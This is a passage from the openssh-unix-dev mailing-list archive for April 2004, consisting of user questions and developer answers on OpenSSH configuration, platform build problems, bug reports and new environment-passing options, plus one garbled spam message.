The agent test make ssh-agent setgid, and setgid programs ignore LIBPATH 
(as they should).  Should work if you specify blibpath to configure.

> possibly OT (I don't imagine many lawyers in openssh-unix-dev) - What are
> the legal implications of allowing the SSH banner to be supressed using "ssh
> -q $host" if you have a "authorised users only...." type banner on $host -
> based on UK law. 

Ask a lawyer.  Note that the server still *sends* the banner, it's just 
that by using ssh -q the user opts not to have it displayed.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From agiri at sj.symbol.com  Wed Apr 21 09:30:27 2004
From: agiri at sj.symbol.com (Amba giri)
Date: Tue, 20 Apr 2004 16:30:27 -0700
Subject: A question on idletimeout for OpenSSH
Message-ID: <s0855037.084@gwianameserver.sj.symbol.com>


Hello..

I would like to know if there is a keyword in OpenSSH analogous to IdleTimeout for SSH1.  Is there the ability to configure an idle timeout in OpenSSH?

Thanks in advance for your response



Amba Giri
Symbol Technologies, San Jose
P: 408-528-2721
E:agiri at sj.symbol.com
Symbol.  The Enterprise Mobility Company.



From dtucker at zip.com.au  Wed Apr 21 13:30:49 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Wed, 21 Apr 2004 13:30:49 +1000
Subject: A question on idletimeout for OpenSSH
In-Reply-To: <s0855037.084@gwianameserver.sj.symbol.com>
References: <s0855037.084@gwianameserver.sj.symbol.com>
Message-ID: <4085EAE9.6020307@zip.com.au>

Amba giri wrote:
> I would like to know if there is a keyword in OpenSSH analogous
 > to IdleTimeout for SSH1.  Is there the ability to configure an
 > idle timeout in OpenSSH?

That depends on what you mean by "idle".  If you want the server to kill 
off connections that are not responding at all then you can use 
ClientAliveInterval and ClientAliveCountMax to do that.  If you want to 
kill off sessions where the client is still connected but the user 
hasn't typed anything for a while, this won't help, you can use 
something like autolog or the shell TMOUT variable.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From flo at bier.homeip.net  Wed Apr 21 19:06:26 2004
From: flo at bier.homeip.net (Flo Gleixner)
Date: Wed, 21 Apr 2004 11:06:26 +0200 (CEST)
Subject: Solaris 8: RSA_padding_check_PKCS1_type_1:block type is not 01
Message-ID: <Pine.LNX.4.44.0404211051080.17300-100000@octopus>



Hi,

I have a returning problem with one of my sparc Solaris machines. I have a
Ultra2 with two 296MHz processors. All recent combinations of
openssh/openssl have a not permanent problem. If i try to connect to the
machine, i get sometimes these errors:

# ssh root at simba
RSA_public_decrypt failed: error:0407006A:rsa
routines:RSA_padding_check_PKCS1_type_1:block type is not 01
key_verify failed for server_host_key
# ssh root at simba
hash mismatch
key_verify failed for server_host_key
# ssh root at simba
hash mismatch
key_verify failed for server_host_key

And sometimes it works. At the moment i need about 10 tries to get in. If
i manage to get in, i can use the ssh connection for weeks without
problem.

a ssh -vvv puts out this:

...
debug2: kex_parse_kexinit:
debug2: kex_parse_kexinit: first_kex_follows 0
debug2: kex_parse_kexinit: reserved 0
debug2: mac_init: found hmac-md5
debug1: kex: server->client aes128-cbc hmac-md5 none
debug2: mac_init: found hmac-md5
debug1: kex: client->server aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP
debug2: dh_gen_key: priv key bits set: 122/256
debug2: bits set: 1049/2048
debug1: SSH2_MSG_KEX_DH_GEX_INIT sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY
debug3: check_host_in_hostfile: filename /home/gleixner/.ssh/known_hosts
debug3: check_host_in_hostfile: match line 76
debug3: check_host_in_hostfile: filename /home/gleixner/.ssh/known_hosts
debug3: check_host_in_hostfile: match line 76
debug1: Host 'simba' is known and matches the RSA host key.
debug1: Found key in /home/gleixner/.ssh/known_hosts:76
debug2: bits set: 1010/2048
hash mismatch
debug1: ssh_rsa_verify: signature incorrect
key_verify failed for server_host_key
debug1: Calling cleanup 0x80627f0(0x0)




O.K. now the fun:


if i disable one processor (psradm -f 1) then i cannot reproduce the bug!
I tried sone other single/multiprocessor sparc-machines and i cannot
reproduce the bug there. I probably have to say, that only tried
sunfreeware.com packages. At the moment i use:

bash-2.03# pkginfo -l SMCossh
   PKGINST:  SMCossh
      NAME:  openssh
  CATEGORY:  application
      ARCH:  sparc
   VERSION:  3.8p1
   BASEDIR:  /usr/local
    VENDOR:  The OpenSSH Group
    PSTAMP:  Steve Christensen
  INSTDATE:  Apr 21 2004 09:31
     EMAIL:  steve at smc.vnet.net
    STATUS:  completely installed
     FILES:       52 installed pathnames
                   5 shared pathnames
                  11 directories
                  10 executables
                   1 setuid/setgid executables
                3207 blocks used (approx)

bash-2.03# pkginfo -l SMCossld
   PKGINST:  SMCossld
      NAME:  openssl
  CATEGORY:  application
      ARCH:  sparc
   VERSION:  0.9.7d
   BASEDIR:  /usr/local
    VENDOR:  The OpenSSL Group
    PSTAMP:  Steve Christensen
  INSTDATE:  Apr 21 2004 09:31
     EMAIL:  steve at smc.vnet.net
    STATUS:  completely installed
     FILES:     1542 installed pathnames
                  41 directories
                  44 executables
               19902 blocks used (approx)



Thanks for any help.

Flo



From dtucker at zip.com.au  Wed Apr 21 20:09:07 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Wed, 21 Apr 2004 20:09:07 +1000
Subject: Solaris 8: RSA_padding_check_PKCS1_type_1:block type is not 01
In-Reply-To: <Pine.LNX.4.44.0404211051080.17300-100000@octopus>
References: <Pine.LNX.4.44.0404211051080.17300-100000@octopus>
Message-ID: <40864843.9090902@zip.com.au>

Flo Gleixner wrote:
> I have a returning problem with one of my sparc Solaris machines. I have a
> Ultra2 with two 296MHz processors. All recent combinations of
> openssh/openssl have a not permanent problem. If i try to connect to the
> machine, i get sometimes these errors:
[snip]
> if i disable one processor (psradm -f 1) then i cannot reproduce the bug!
> I tried sone other single/multiprocessor sparc-machines and i cannot
> reproduce the bug there. I probably have to say, that only tried
> sunfreeware.com packages. At the moment i use:

This is probably faulty hardware.  We have seen problems with a 300MHz 
UltraSPARC-II's w/2MB cache.  This includes the "hash mismatch" and 
"key_verify failed for server_host_key" errors (although they occurred 
infrequently), and it took way too long  (many hours) to generate DSA 
host keys (this was consistent).

OpenSSL's "make test" also failed.

The faulty processor had these markings:
date code = 0598
processor wk/yr = 44/97
processor rev 52 made in uk @ d2d

See also:
http://marc.theaimsgroup.com/?l=openbsd-sparc&m=103826497310917

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From flo at bier.homeip.net  Wed Apr 21 21:14:32 2004
From: flo at bier.homeip.net (Flo Gleixner)
Date: Wed, 21 Apr 2004 13:14:32 +0200 (CEST)
Subject: Solaris 8: RSA_padding_check_PKCS1_type_1:block type is not 01
In-Reply-To: <40864843.9090902@zip.com.au>
Message-ID: <Pine.LNX.4.44.0404211304210.17300-100000@octopus>



Thanks! I can fully reproduce the dsa key generation problem on one CPU.
And yes, if i switch off the good cpu, i cannot login via ssh. But i
cannot understand that everything else (Solaris, applications ....) run
without any problem on this faulty CPU. Are there some "incompatible Ultra
Sparc optimizations" in the openssl code?
Can i call Sun to replace the cpu or will they say, that this is not a cpu
but a software problem?

Thanks for the help,

Flo

On Wed, 21 Apr 2004, Darren Tucker wrote:
>
> This is probably faulty hardware.  We have seen problems with a 300MHz
> UltraSPARC-II's w/2MB cache.  This includes the "hash mismatch" and
> "key_verify failed for server_host_key" errors (although they occurred
> infrequently), and it took way too long  (many hours) to generate DSA
> host keys (this was consistent).
>
> OpenSSL's "make test" also failed.
>
> The faulty processor had these markings:
> date code = 0598
> processor wk/yr = 44/97
> processor rev 52 made in uk @ d2d
>
> See also:
> http://marc.theaimsgroup.com/?l=openbsd-sparc&m=103826497310917
>
>



From dtucker at zip.com.au  Wed Apr 21 21:57:11 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Wed, 21 Apr 2004 21:57:11 +1000
Subject: Solaris 8: RSA_padding_check_PKCS1_type_1:block type is not 01
In-Reply-To: <Pine.LNX.4.44.0404211304210.17300-100000@octopus>
References: <Pine.LNX.4.44.0404211304210.17300-100000@octopus>
Message-ID: <40866197.80401@zip.com.au>

Flo Gleixner wrote:
> Thanks! I can fully reproduce the dsa key generation problem on one CPU.
> And yes, if i switch off the good cpu, i cannot login via ssh. But i
> cannot understand that everything else (Solaris, applications ....) run
> without any problem on this faulty CPU. Are there some "incompatible Ultra
> Sparc optimizations" in the openssl code?

Not sure, but probably not.  The problem is probably limited to 
little-used instructions (like the 64 bit SPARCv9 multiply and divide 
instructions) on some CPUs.  If this is the case, you can configure and 
build OpenSSL with "./Configure solaris-sparcv7-gcc" then build OpenSSH 
with it ("./configure --with-ssl-dir=...").  This might work better.

> Can i call Sun to replace the cpu or will they say, that this is not a cpu
> but a software problem?

No idea.  All I can say is: if it's a software problem, why does it work 
on some CPUs and not others (that are nominally the same)?

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From l.ye at tu-bs.de  Thu Apr 22 16:42:44 2004
From: l.ye at tu-bs.de (Lingli Ye)
Date: Thu, 22 Apr 2004 08:42:44 +0200
Subject: X11 Connection rejected becuase of wrong authentication
Message-ID: <000801c42835$05ca53a0$24a8a986@lingli>

Hi,
i'm using Cygwin under Win2000 to ssh Debian-Linux. I've changed die /etc/sshd_config file, to enable X11UseLocalhost no. But die Remoteserver said wenn launch xeyes:
X11 connection rejected because of wrong authentication.
X connection to localhost:10.0 broken (explicit kill or server shutdown) 
Pls help me.Thanks!
regards
lingli              

From dtucker at zip.com.au  Thu Apr 22 20:45:15 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Thu, 22 Apr 2004 20:45:15 +1000
Subject: X11 Connection rejected becuase of wrong authentication
In-Reply-To: <000801c42835$05ca53a0$24a8a986@lingli>
References: <000801c42835$05ca53a0$24a8a986@lingli>
Message-ID: <4087A23B.6090508@zip.com.au>

Lingli Ye wrote:
> i'm using Cygwin under Win2000 to ssh Debian-Linux. I've changed die /etc/sshd_config file, to enable X11UseLocalhost no. But die Remoteserver said wenn launch xeyes:
> X11 connection rejected because of wrong authentication.
> X connection to localhost:10.0 broken (explicit kill or server shutdown) 

Do other X clients (eg xterm) work?  If so, does this make a difference:
http://www.openssh.com/faq.html#3.13

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
    Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From gostl at argoscomp.com  Thu Apr 22 23:36:19 2004
From: gostl at argoscomp.com (Jack Gostl)
Date: Thu, 22 Apr 2004 09:36:19 -0400 (EDT)
Subject: signon problem 
Message-ID: <Pine.A41.4.21.0404220935540.67030-100000@argos>


I am using openssh version 3.6p1 under AIX 5.1. I am trying to change the
login herald.  I have changed /etc/security/login.cfg, and when logging in
via telnet, I see the new herald. When I log in through ssh, using public
key authentication, I get the default herald. I am not sure if I am
changing the correct file. If I have missed something in the documentation
I apologize, but I don't see any reference to what I need to change.

Thanks.



From dtucker at zip.com.au  Fri Apr 23 00:39:01 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Fri, 23 Apr 2004 00:39:01 +1000
Subject: signon problem
In-Reply-To: <Pine.A41.4.21.0404220935540.67030-100000@argos>
References: <Pine.A41.4.21.0404220935540.67030-100000@argos>
Message-ID: <4087D905.5040202@zip.com.au>

Jack Gostl wrote:

> I am using openssh version 3.6p1 under AIX 5.1. I am trying to change the
> login herald.  I have changed /etc/security/login.cfg, and when logging in
> via telnet, I see the new herald. When I log in through ssh, using public
> key authentication, I get the default herald. I am not sure if I am
> changing the correct file. If I have missed something in the documentation
> I apologize, but I don't see any reference to what I need to change.

sshd does not read the herald from /etc/security/login.cfg (which is AIX 
specific).  If you want to present the user with a message before login, 
use the "Banner" directive in sshd_config.  If you want the message 
after the login, change the /etc/motd file (and possibly the "PrintMotd" 
directive in sshd_config).  See the man page for sshd_config for details.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From gostl at argoscomp.com  Fri Apr 23 00:43:57 2004
From: gostl at argoscomp.com (Jack Gostl)
Date: Thu, 22 Apr 2004 10:43:57 -0400 (EDT)
Subject: signon problem
In-Reply-To: <4087D905.5040202@zip.com.au>
Message-ID: <Pine.A41.4.21.0404221039492.32120-100000@argos>

On Fri, 23 Apr 2004, Darren Tucker wrote:

> Jack Gostl wrote:
> 
> > I am using openssh version 3.6p1 under AIX 5.1. I am trying to change the
> > login herald.  I have changed /etc/security/login.cfg, and when logging in
> > via telnet, I see the new herald. When I log in through ssh, using public
> > key authentication, I get the default herald. I am not sure if I am
> > changing the correct file. If I have missed something in the documentation
> > I apologize, but I don't see any reference to what I need to change.
> 
> sshd does not read the herald from /etc/security/login.cfg (which is AIX 
> specific).  If you want to present the user with a message before login, 
> use the "Banner" directive in sshd_config.  If you want the message 
> after the login, change the /etc/motd file (and possibly the "PrintMotd" 
> directive in sshd_config).  See the man page for sshd_config for details.

I see... because I was doing a public key authentication I was confusing
myself. It was the motd I was looking at not the herald.

Thanks.

-- 

Jack Gostl	gostl at argoscomp.com




From prasadnn at tataelxsi.co.in  Fri Apr 23 01:11:20 2004
From: prasadnn at tataelxsi.co.in (prasadnn)
Date: Thu, 22 Apr 2004 20:41:20 +0530
Subject: SCP problem
Message-ID: <000401c4287c$11b18980$0601080a@telxsi.com>

HI,
    I am facing some problem in SCP , when giving the scp at the source
(where the source file is located), and both the source and destination are
running sshd in linux. Its not copying the file to destination at all,
rather it copies to itself. Any solution for this?

Thanks in advance
Regards
Prasad nn



From dtucker at zip.com.au  Fri Apr 23 09:53:30 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Fri, 23 Apr 2004 09:53:30 +1000
Subject: SCP problem
In-Reply-To: <000401c4287c$11b18980$0601080a@telxsi.com>
References: <000401c4287c$11b18980$0601080a@telxsi.com>
Message-ID: <40885AFA.5000603@zip.com.au>

prasadnn wrote:

>     I am facing some problem in SCP , when giving the scp at the source
> (where the source file is located), and both the source and destination are
> running sshd in linux. Its not copying the file to destination at all,
> rather it copies to itself. Any solution for this?

I don't follow what the problem is.  Can you post an example?

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From Lloyd.Parkes at eds.com  Fri Apr 23 14:55:21 2004
From: Lloyd.Parkes at eds.com (Lloyd @ Work)
Date: Fri, 23 Apr 2004 16:55:21 +1200
Subject: Solaris core dumps
Message-ID: <6CF1C1D1-94E2-11D8-85B2-000D93515822@eds.com>

Hi,
I'm busy trying to get OpenSSH 3.8p1 working on Solaris 8. I'm having a 
bit of trouble, mostly because I want it to work right beyond simply 
logging in.

I've given up trying to use privilege separation because it doesn't 
play nicely with PAM and BSM (I haven't applied the BSM patches yet).

When I log in with public key authentication and my password has 
expired, sshd quits with a segmentation fault. Since I need password 
expiry and I need public key authentication this is a problem. I know 
it looks like an odd combination, but regardless of how I choose to 
authenticate, my account is still accessible via a password in so many 
ways, and so that password must be changed regularly.

sshd appears to be crashing in pam_password_change_required(). I can 
only assume that force_pwchange is not initialised. I'll know soon 
after I get a version of openssh built with debugging symbols, but 
that'll have to wait until Monday.

Lloyd



From dtucker at zip.com.au  Fri Apr 23 15:12:51 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Fri, 23 Apr 2004 15:12:51 +1000
Subject: Solaris core dumps
In-Reply-To: <6CF1C1D1-94E2-11D8-85B2-000D93515822@eds.com>
References: <6CF1C1D1-94E2-11D8-85B2-000D93515822@eds.com>
Message-ID: <4088A5D3.7050508@zip.com.au>

Lloyd @ Work wrote:
> When I log in with public key authentication and my password has 
> expired, sshd quits with a segmentation fault. Since I need password 
> expiry and I need public key authentication this is a problem. I know it 
> looks like an odd combination, but regardless of how I choose to 
> authenticate, my account is still accessible via a password in so many 
> ways, and so that password must be changed regularly.

Yes, this is a known bug and has been fixed in 3.8.1p1.

http://bugzilla.mindrot.org/show_bug.cgi?id=808

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From prasadnn at tataelxsi.co.in  Fri Apr 23 18:15:49 2004
From: prasadnn at tataelxsi.co.in (prasadnn)
Date: Fri, 23 Apr 2004 13:45:49 +0530
Subject: openssh code
Message-ID: <000101c4290b$302fe200$0601080a@telxsi.com>

Hi,
    How do the communication between sshd and program happens when compat20
is enabled? There are two function process_buffered_input_packets and
process_input, but in both cases if compat20 is enabled its just buffering
the packets, but how do sshd will the command to program for execution?

Regards
prasad



From djm at mindrot.org  Sat Apr 24 10:35:42 2004
From: djm at mindrot.org (Damien Miller)
Date: Sat, 24 Apr 2004 10:35:42 +1000
Subject: openssh code
In-Reply-To: <000101c4290b$302fe200$0601080a@telxsi.com>
References: <000101c4290b$302fe200$0601080a@telxsi.com>
Message-ID: <4089B65E.8090009@mindrot.org>

prasadnn wrote:
> Hi,
>     How do the communication between sshd and program happens when compat20
> is enabled? There are two function process_buffered_input_packets and
> process_input,

process_input takes input from the network and queues it using
packet_process_incoming().

For SSH protocol 1, it also reads the stderr and stdout data - SSH1 only
allows a single shell/program/subsys session, whereas SSH2 allows
multiple.

For SSH protocol 2, data to/from the client is handled through the
channels code. E.g. channel_after_select() -> channel_handler ->
channel_handle_rfd, this same mechanism is used to write data to/from
the session (and port forwardings).

process_buffered_input_packets just processes any packets from the
network that have been queued.

-d



From cdewick at lios.apana.org.au  Sat Apr 24 16:40:21 2004
From: cdewick at lios.apana.org.au (Craig Dewick)
Date: Sat, 24 Apr 2004 16:40:21 +1000 (EST)
Subject: SCM_RIGHTS problem with openssh-3.8p1 build on Cobalt Raq2
Message-ID: <Pine.GSO.4.58.0404241636370.9151@lios.apana.org.au>


I saw some archived messages which I found via Google in relation to some
patches which can be applied to Glibc to fix the SCM_RIGHTS problem when
attempting to build openssh on a Cobalt Raq2.

Is there a way to retrieve the patches which need to be applied? The list
archive search website displays the actual messages which discussed the
topic, but I wasn't able to view any of the attachments which are supposed
to have contained the patches.

As an alternative, would compiling a newer version of glibc help? I have
applied all of the patches available from SunSolve for the Raq2.

At the moment I can't get a newer version of gcc than 2.7.2 to compile
either, but that's a seperate issue. 8-)

Regards,

Craig.

-- 
     Email by Craig Dewick (tm). Home page at "lios.apana.org.au/~cdewick".
      "cdewick at poison.lios.apana.org.au" or "cdewick at poison.sunshack.org".
   Explore and enjoy my public-domain Sun Microsystems technical data archive
                 at "www.sunshack.org" or "www.sunshack.info".



From dtucker at zip.com.au  Sat Apr 24 17:12:23 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Sat, 24 Apr 2004 17:12:23 +1000
Subject: SCM_RIGHTS problem with openssh-3.8p1 build on Cobalt Raq2
In-Reply-To: <Pine.GSO.4.58.0404241636370.9151@lios.apana.org.au>
References: <Pine.GSO.4.58.0404241636370.9151@lios.apana.org.au>
Message-ID: <408A1357.60808@zip.com.au>

Craig Dewick wrote:

> I saw some archived messages which I found via Google in relation to some
> patches which can be applied to Glibc to fix the SCM_RIGHTS problem when
> attempting to build openssh on a Cobalt Raq2.
> 
> Is there a way to retrieve the patches which need to be applied? The list
> archive search website displays the actual messages which discussed the
> topic, but I wasn't able to view any of the attachments which are supposed
> to have contained the patches.

Here's what I said last time you asked about this (however your mail 
server refused to accept messages from me, so you might not hear about 
it this time either).

[quote]
If you comment out "#define HAVE_SENDMSG" from config.h, you should be
able to compile OK (however you'll have to run without
PrivilegeSeparation).
[/quote]

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From v_t_m at seznam.cz  Sat Apr 24 19:09:22 2004
From: v_t_m at seznam.cz (=?iso-8859-2?Q?V=E1clav=20Tomec?=)
Date: Sat, 24 Apr 2004 11:09:22 +0200 (CEST)
Subject: PATCH: SecurID & other updated for 3.8.1p1
Message-ID: <102290.383516-6088-1593449227-1082797762@seznam.cz>

Hello all,

I have finished my patches for OpenSSH 3.8.1p1.
AuthSelection
SecurID
log

available as usually here: http://sweb.cz/v_t_m/

Vaclav
____________________________________________________________
Doposud jste fo??k pou??vali pouze k focen?. Ale te? z n?j m??ete i telefonovat. SonyEricsson T230 ji? od 977,- K?. www.oskar.cz
http://ad.seznam.cz/clickthru?spotId=73596&section=/



From djm at mindrot.org  Tue Apr 27 19:55:14 2004
From: djm at mindrot.org (Damien Miller)
Date: Tue, 27 Apr 2004 19:55:14 +1000
Subject: environ problem in 3.8p1
In-Reply-To: <4068F164.9010405@mindrot.org>
References: <200403071542.i27FgxNh023809@mx1.cs.umb.edu>	<404C4DF5.7000800@zip.com.au>	<Pine.LNX.4.53.0403081612281.2984@basilisk.suse.cz>	<404FCCBF.8040402@mindrot.org>	<Pine.BSO.4.58.0403112005460.1223@shitei.mindrot.org>
	<4068F164.9010405@mindrot.org>
Message-ID: <408E2E02.8030209@mindrot.org>

Damien Miller wrote:
> Damien Miller wrote:
> 
> 
>>In his ignorance, on Thu, 11 Mar 2004, Damien Miller mistakenly wrote:
>>
>>
>>
>>>No, the protocol does not include a way to transmit more than the
>>>terminal type ($TERM).
>>
>>Markus pointed out that I am wrong: protocol 2 has a request to pass
>>environment variables, which we don't implement.
> 
> There is now a patch to implement environment passing in:
> http://bugzilla.mindrot.org/show_bug.cgi?id=815

For those who are interested, this patch has been comitted. CVS HEAD now
has the ability to pass environment variables from the client to the
server.

The variables that are sent can be controlled by a new "SendEnv" option
and the ones that the server accepts is controlled with an "AcceptEnv"
option. Multiple uses of each of these are allowed, and both options
allow basic "*" and "?" wildcards.

Be careful using these options - there exists the possibility of
unwanted exposure of information on the client side and the possibility
that pre-execution envrionment twiddling could bypass restricted
environments.

-d



From love.love.rascal at j-luna.com  Wed Apr 28 01:26:17 2004
From: love.love.rascal at j-luna.com (=?ISO-2022-JP?B?GyRCJV4lahsoQg==?=)
Date: Wed, 28 Apr 2004 00:26:17 +0900
Subject: =?iso-2022-jp?b?GyRCJCQkKyQsJCoyYSQ0JDchKRsoQg==?=
Message-ID: <20040427155105.2180E27C187@shitei.mindrot.org>

??????????????????????????????????????
?????????????????????????????????????????

??????????????????http://www.mega-network.com/hosuto




From RXANDERS at srpnet.com  Wed Apr 28 01:53:17 2004
From: RXANDERS at srpnet.com (ANDERSON RUSSELL D (ANDY))
Date: Tue, 27 Apr 2004 08:53:17 -0700
Subject: SCP misses copying a file on error (possible bug?)
Message-ID: <5E045A9F7D28F04A8B22115B7E86434A39DBE1@srpexc2.srp.gov>

RCSID("$OpenBSD: scp.c,v 1.113 2003/11/23 23:21:21 djm Exp $");
Part of the OpenSSH_3.8p1, SSH protocols 1.5/2.0, OpenSSL 0.9.7c 30 Sep 2003 distribution

Could someone verify this case we found that causes a file to be missed during copying?
Not copying a file without any error indication is a major problem.

Here is the setup to replicate the problem:

On hosta /tmp:

	-rwxrwxr-x   1 rdpecken rgr00rdp   12054 Apr 13 07:46 do_tie_configs
	-rwxrwxr-x   1 rdpecken rgr00rdp    9421 Apr 15 07:58 force_download
	-rwxrwxr-x   1 rdpecken rgr00rdp    9564 Apr 15 07:59 load_test_config
	-rwxrwxr-x   1 rdpecken rgr00rdp    7344 Apr 15 08:07 run_mgdiffs
******	-rwxrwxr-x   1 rdpecken rgr00rdp    5287 Nov 12 12:39 save_new_config
******	-rwxrwxr-x   1 rdpecken rgr00rdp    7580 Apr 15 08:54 save_new_tie
******	-rwxrwxr-x   1 rdpecken rgr00rdp    7600 Apr 15 08:02 save_tie_files
	-rwxrwxr-x   1 rdpecken rgr00rdp    1945 Feb 25 09:47 tie_build_setup_r10
	-rwxrwxr-x   1 rdpecken rgr00rdp    7384 Apr 15 08:25 tie_dbgen_build
	-rwxrwxr-x   1 rdpecken rgr00rdp    7354 Apr 15 08:03 tie_setup

On hostb /tmp:

******	-rwxrwxr-x   1 rgrmas   rgrusr      5287 Apr 27 08:34 save_new_config
******	-rwxrwxr-x   1 bowtie   rgrusr      7600 Apr 15 08:02 save_tie_files

	cd /tmp
	scp -p hosta:/tmp/[a-z]** .

	do_tie_configs                                100%   12KB  11.8KB/s   00:00
	force_download                               100% 9421     9.2KB/s   00:00
	load_test_config                              100% 9564     9.3KB/s   00:00
	run_mgdiffs                                     100% 7344     7.2KB/s   00:00
******	save_new_config                             100% 5287     5.2KB/s   00:00
	./save_new_config: set mode: Not owner
	./save_new_config: set times: Not owner
******	save_tie_files                                  100% 7600     7.4KB/s   00:00
	tie_build_setup_r10                         100% 1945     1.9KB/s   00:00
	tie_dbgen_build                               100% 7384     7.2KB/s   00:00
	tie_setup                                        100% 7354     7.2KB/s   00:00

	The resulting files are:

******	-rwxrwxr-x   1 rgrmas   rgrusr      5287 Apr 27 08:34 save_new_config
******	-rwxrwxr-x   1 bowtie    rgrusr      7600 Apr 15 08:02 save_tie_files

The question is why was the file "save_new_tie" not copied?
It didn't even show up in the progress report above?
It appears as if scp skips the following file after a previous file error.

Thanks - Andy




From agiri at sj.symbol.com  Wed Apr 28 07:09:53 2004
From: agiri at sj.symbol.com (Amba giri)
Date: Tue, 27 Apr 2004 14:09:53 -0700
Subject: A question on limiting the number of ssh connections to the
	ssh server
Message-ID: <s08e69b8.004@gwianameserver.sj.symbol.com>

Hello

I would like to know if there is a keyword in sshd_config that can be
used to limit the number of simultaneous connections an OpenSSH server
will accept.  There is a MaxConnections keyword in SSH2 but I have not
found a similar keyword for OpenSSH.

Thanks in advance for your response



Amba Giri
Symbol Technologies, San Jose
P: 408-528-2721
E:agiri at sj.symbol.com
Symbol.  The Enterprise Mobility Company.



From mouring at etoh.eviladmin.org  Wed Apr 28 07:24:12 2004
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Tue, 27 Apr 2004 16:24:12 -0500 (CDT)
Subject: A question on limiting the number of ssh connections to the ssh
 server
In-Reply-To: <s08e69b8.004@gwianameserver.sj.symbol.com>
Message-ID: <Pine.BSO.4.44.0404271622410.953-100000@etoh.eviladmin.org>


Not a MaxConnections persay.  Just:

     MaxStartups
             Specifies the maximum number of concurrent unauthenticated con-
             nections to the sshd daemon.  Additional connections will be
             dropped until authentication succeeds or the LoginGraceTime ex-
             pires for a connection.  The default is 10.
[..]

That states how to handle connections while they are unauthenticated.

- Ben

On Tue, 27 Apr 2004, Amba giri wrote:

> Hello
>
> I would like to know if there is a keyword in sshd_config that can be
> used to limit the number of simultaneous connections an OpenSSH server
> will accept.  There is a MaxConnections keyword in SSH2 but I have not
> found a similar keyword for OpenSSH.
>
> Thanks in advance for your response
>
>
>
> Amba Giri
> Symbol Technologies, San Jose
> P: 408-528-2721
> E:agiri at sj.symbol.com
> Symbol.  The Enterprise Mobility Company.
>
> _______________________________________________
> openssh-unix-dev mailing list
> openssh-unix-dev at mindrot.org
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
>



From mgrooms at seton.org  Wed Apr 28 15:03:06 2004
From: mgrooms at seton.org (Matthew Grooms)
Date: Wed, 28 Apr 2004 05:03:06 +0000
Subject: filexfer draft and uid / gid resolution ...
Message-ID: <200404280503.i3S5362I090807@hole.shrew.net>

Sorry if this is not the best place to post this question but I'm
not sure who else to ask. After reading through the filexfer draft I am
having trouble understanding how a sftp client goes about resolving uid
/ gid to its text representation. Without handling this translation for
the user, how do they know the difference between one uid / gid to the
next without opening up a terminal to the remote host and resolving them
manually?

     Is it possible to resolve this info through some other ssh related
mechanism I overlooked? Is this by design to keep remote users from
resolving random uid's / gid's via sftp? ... I don't get it.

Please CC me on any replies. I am not a member of this list. Thanks in
advance.

-Matthew



From djm at mindrot.org  Wed Apr 28 09:39:45 2004
From: djm at mindrot.org (Damien Miller)
Date: Wed, 28 Apr 2004 09:39:45 +1000
Subject: filexfer draft and uid / gid resolution ...
In-Reply-To: <200404280503.i3S5362I090807@hole.shrew.net>
References: <200404280503.i3S5362I090807@hole.shrew.net>
Message-ID: <408EEF41.4030303@mindrot.org>

Matthew Grooms wrote:

> Sorry if this is not the best place to post this question but I'm
> not sure who else to ask. After reading through the filexfer draft I am
> having trouble understanding how a sftp client goes about resolving uid
> / gid to its text representation. Without handling this translation for
> the user, how do they know the difference between one uid / gid to the
> next without opening up a terminal to the remote host and resolving them
> manually?

The version of the filexfer draft that OpenSSH supports doesn't support
user/group name resolution. We have access to numeric user and group IDs
only.

Later versions of the filexfer draft do support this, but I have some
misgiving about them that I would like to see resolved before
implementing support for a new revision.

-d



From marka at isc.org  Wed Apr 28 10:03:52 2004
From: marka at isc.org (Mark Andrews)
Date: Wed, 28 Apr 2004 10:03:52 +1000
Subject: openssh continues to process dash arguements after hostname
Message-ID: <408EF4E8.6030401@isc.org>


